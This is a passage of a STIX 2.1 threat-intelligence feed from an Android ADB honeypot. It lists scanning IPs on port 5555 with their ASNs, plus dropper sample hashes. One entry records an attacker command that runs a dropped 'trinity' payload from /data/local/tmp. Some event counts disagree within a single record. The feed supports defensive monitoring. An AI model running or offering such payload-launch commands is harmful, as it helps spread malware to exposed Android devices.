      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=25; ports=5555; cc=US; asn=8075; asn_org=Microsoft Corporation; cats=Detection of a Network Scan; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=25 | first_seen=2026-04-25T19:34:39.000Z | last_seen=2026-04-25T19:46:43.998Z | ports=5555 | cc=US | asn=8075 | org=Microsoft Corporation",
      "id": "indicator--1bfa346d-e27d-4498-b765-3dd9e078243e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '20.64.105.127']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T20:00:02.000Z",
      "valid_until": "2026-05-27T20:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 25,
          "first_seen": "2026-04-25T19:34:39.000Z",
          "last_seen": "2026-04-25T19:46:43.998Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "8075"
          ],
          "org": [
            "Microsoft Corporation"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-25T21:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=12; ports=5555; cc=MX; asn=22884; asn_org=TOTAL PLAY TELECOMUNICACIONES SA DE CV; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=14 | first_seen=2026-04-25T20:55:38.000Z | last_seen=2026-04-25T21:06:11.862Z | ports=5555 | cc=MX | asn=22884 | org=TOTAL PLAY TELECOMUNICACIONES SA DE CV",
      "id": "indicator--425e2159-64ff-4470-a82f-c229e7ab68f4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '187.191.2.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T21:00:05.000Z",
      "valid_until": "2026-05-27T21:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 14,
          "first_seen": "2026-04-25T20:55:38.000Z",
          "last_seen": "2026-04-25T21:06:11.862Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "MX"
          ],
          "asn": [
            "22884"
          ],
          "org": [
            "TOTAL PLAY TELECOMUNICACIONES SA DE CV"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-25T23:00:12.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=50; ports=5555; cc=CN; asn=4134; asn_org=Chinanet; adb_cmd_hits=0; cmd=\"/data/local/tmp/nohup /data/local/tmp/trinity\"\n\nObserved in ADBHoney telemetry for 2026-04. events=50 | first_seen=2026-04-25T22:05:13.000Z | last_seen=2026-04-25T22:18:28.538Z | ports=5555 | cc=CN | asn=4134 | org=Chinanet | related_hashes=76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64,a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437",
      "id": "indicator--6a1737b9-a6b6-49c3-bd56-68825e9619bc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot",
        "dropper",
        "malware-distribution"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '183.128.237.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T23:00:12.000Z",
      "valid_until": "2026-05-27T23:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 50,
          "first_seen": "2026-04-25T22:05:13.000Z",
          "last_seen": "2026-04-25T22:18:28.538Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4134"
          ],
          "org": [
            "Chinanet"
          ],
          "related_hashes": [
            "76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64",
            "a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-25T23:00:12.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=DE; asn=45102; asn_org=Alibaba US Technology Co., Ltd.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=40 | first_seen=2026-04-25T22:27:52.000Z | last_seen=2026-04-28T03:41:48.246Z | ports=5555 | cc=DE | asn=45102 | org=Alibaba US Technology Co., Ltd.",
      "id": "indicator--39c08c09-7e1b-4677-8d56-1d2d114b79de",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '47.87.140.88']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T23:00:12.000Z",
      "valid_until": "2026-05-27T23:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 40,
          "first_seen": "2026-04-25T22:27:52.000Z",
          "last_seen": "2026-04-28T03:41:48.246Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "DE"
          ],
          "asn": [
            "45102"
          ],
          "org": [
            "Alibaba US Technology Co., Ltd."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-25T23:00:12.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/c632bd71d56213672dbb094962b6072a54e0d8214e8b956352b58e74a16bce95.raw; last_seen=2026-04-25T22:27:59.063Z",
      "id": "indicator--f9481e16-ee8c-4e4e-b727-aa7f3b7a1461",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[file:hashes.'SHA-256' = 'c632bd71d56213672dbb094962b6072a54e0d8214e8b956352b58e74a16bce95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T23:00:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-26T02:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=33; ports=5555; cc=BR; asn=264377; asn_org=FV TECNOLOGIA DA INFORMACAO LTDA ME; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=33 | first_seen=2026-04-26T01:15:38.000Z | last_seen=2026-04-26T01:31:17.703Z | ports=5555 | cc=BR | asn=264377 | org=FV TECNOLOGIA DA INFORMACAO LTDA ME",
      "id": "indicator--ac2236fd-2eac-493e-b6ea-8fb64821c633",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '131.161.123.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T02:00:04.000Z",
      "valid_until": "2026-05-28T02:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 33,
          "first_seen": "2026-04-26T01:15:38.000Z",
          "last_seen": "2026-04-26T01:31:17.703Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "BR"
          ],
          "asn": [
            "264377"
          ],
          "org": [
            "FV TECNOLOGIA DA INFORMACAO LTDA ME"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-26T03:00:08.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=CA; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=6 | first_seen=2026-04-26T02:30:29.000Z | last_seen=2026-04-26T02:31:39.827Z | ports=5555 | cc=CA | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--97804ff2-6c0d-4a6b-8e0b-2ca023a2a5f5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '167.99.185.126']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T03:00:08.000Z",
      "valid_until": "2026-05-28T03:00:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 6,
          "first_seen": "2026-04-26T02:30:29.000Z",
          "last_seen": "2026-04-26T02:31:39.827Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CA"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-26T04:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=16; ports=5555; cc=NL; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=16 | first_seen=2026-04-26T03:45:27.000Z | last_seen=2026-04-26T03:55:38.117Z | ports=5555 | cc=NL | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--2bb8a37d-7ca9-43bc-b526-3de237ec828b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '165.232.85.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T04:00:02.000Z",
      "valid_until": "2026-05-28T04:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 16,
          "first_seen": "2026-04-26T03:45:27.000Z",
          "last_seen": "2026-04-26T03:55:38.117Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "NL"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-26T04:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=3; ports=5555; cc=AR; asn=7303; asn_org=Telecom Argentina S.A.; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=3 | first_seen=2026-04-26T03:06:42.000Z | last_seen=2026-04-26T03:07:45.623Z | ports=5555 | cc=AR | asn=7303 | org=Telecom Argentina S.A.",
      "id": "indicator--fe99def5-9dac-4550-ac3e-e7dfe38682c6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '181.170.228.228']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T04:00:02.000Z",
      "valid_until": "2026-05-28T04:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 3,
          "first_seen": "2026-04-26T03:06:42.000Z",
          "last_seen": "2026-04-26T03:07:45.623Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "AR"
          ],
          "asn": [
            "7303"
          ],
          "org": [
            "Telecom Argentina S.A."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-26T07:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=23; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=23 | first_seen=2026-04-26T06:39:23.000Z | last_seen=2026-04-26T06:50:56.855Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--d1b159c7-ab87-497a-8fae-f236cc469bb2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.120']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T07:00:02.000Z",
      "valid_until": "2026-05-28T07:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 23,
          "first_seen": "2026-04-26T06:39:23.000Z",
          "last_seen": "2026-04-26T06:50:56.855Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-26T12:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=4 | first_seen=2026-04-26T11:06:34.000Z | last_seen=2026-04-26T11:07:43.691Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--4cd6c3b7-4cb8-4ed7-8981-87b5da9e30c9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.214']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T12:00:04.000Z",
      "valid_until": "2026-05-28T12:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 4,
          "first_seen": "2026-04-26T11:06:34.000Z",
          "last_seen": "2026-04-26T11:07:43.691Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-26T13:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=5 | first_seen=2026-04-26T12:55:40.000Z | last_seen=2026-04-26T12:56:43.972Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--36a7407e-8f95-4c78-a8ed-c406c243d81b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '137.184.218.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T13:00:10.000Z",
      "valid_until": "2026-05-28T13:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 5,
          "first_seen": "2026-04-26T12:55:40.000Z",
          "last_seen": "2026-04-26T12:56:43.972Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-26T16:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=17; ports=5555; cc=CA; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=17 | first_seen=2026-04-26T15:17:03.000Z | last_seen=2026-04-26T15:28:22.359Z | ports=5555 | cc=CA | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--f0b902e6-195d-469b-b432-80f27c2a2515",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '165.22.233.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T16:00:02.000Z",
      "valid_until": "2026-05-28T16:00:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 17,
          "first_seen": "2026-04-26T15:17:03.000Z",
          "last_seen": "2026-04-26T15:28:22.359Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CA"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-26T16:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=5 | first_seen=2026-04-26T15:46:44.000Z | last_seen=2026-04-26T15:47:46.882Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--d293e330-ad4c-4912-b70c-4e4194681df4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.33.110.79']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T16:00:02.000Z",
      "valid_until": "2026-05-28T16:00:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 5,
          "first_seen": "2026-04-26T15:46:44.000Z",
          "last_seen": "2026-04-26T15:47:46.882Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-26T17:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=17; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; cats=Detection of a Network Scan,Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=17 | first_seen=2026-04-26T16:40:16.000Z | last_seen=2026-04-26T16:50:33.724Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--d60368d6-43a3-4a8f-9365-3bfd9283e61b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '147.182.130.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T17:00:03.000Z",
      "valid_until": "2026-05-28T17:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 17,
          "first_seen": "2026-04-26T16:40:16.000Z",
          "last_seen": "2026-04-26T16:50:33.724Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-26T17:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=JP; asn=135161; asn_org=GMO-Z com NetDesign Holdings Co., Ltd.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=5 | first_seen=2026-04-26T16:52:38.000Z | last_seen=2026-04-26T16:54:12.688Z | ports=5555 | cc=JP | asn=135161 | org=GMO-Z com NetDesign Holdings Co., Ltd.",
      "id": "indicator--4b2716eb-4a05-4ef4-ba6b-9e21e3c52fcb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '150.95.26.113']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T17:00:03.000Z",
      "valid_until": "2026-05-28T17:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 5,
          "first_seen": "2026-04-26T16:52:38.000Z",
          "last_seen": "2026-04-26T16:54:12.688Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "JP"
          ],
          "asn": [
            "135161"
          ],
          "org": [
            "GMO-Z com NetDesign Holdings Co., Ltd."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-26T19:00:11.000Z",
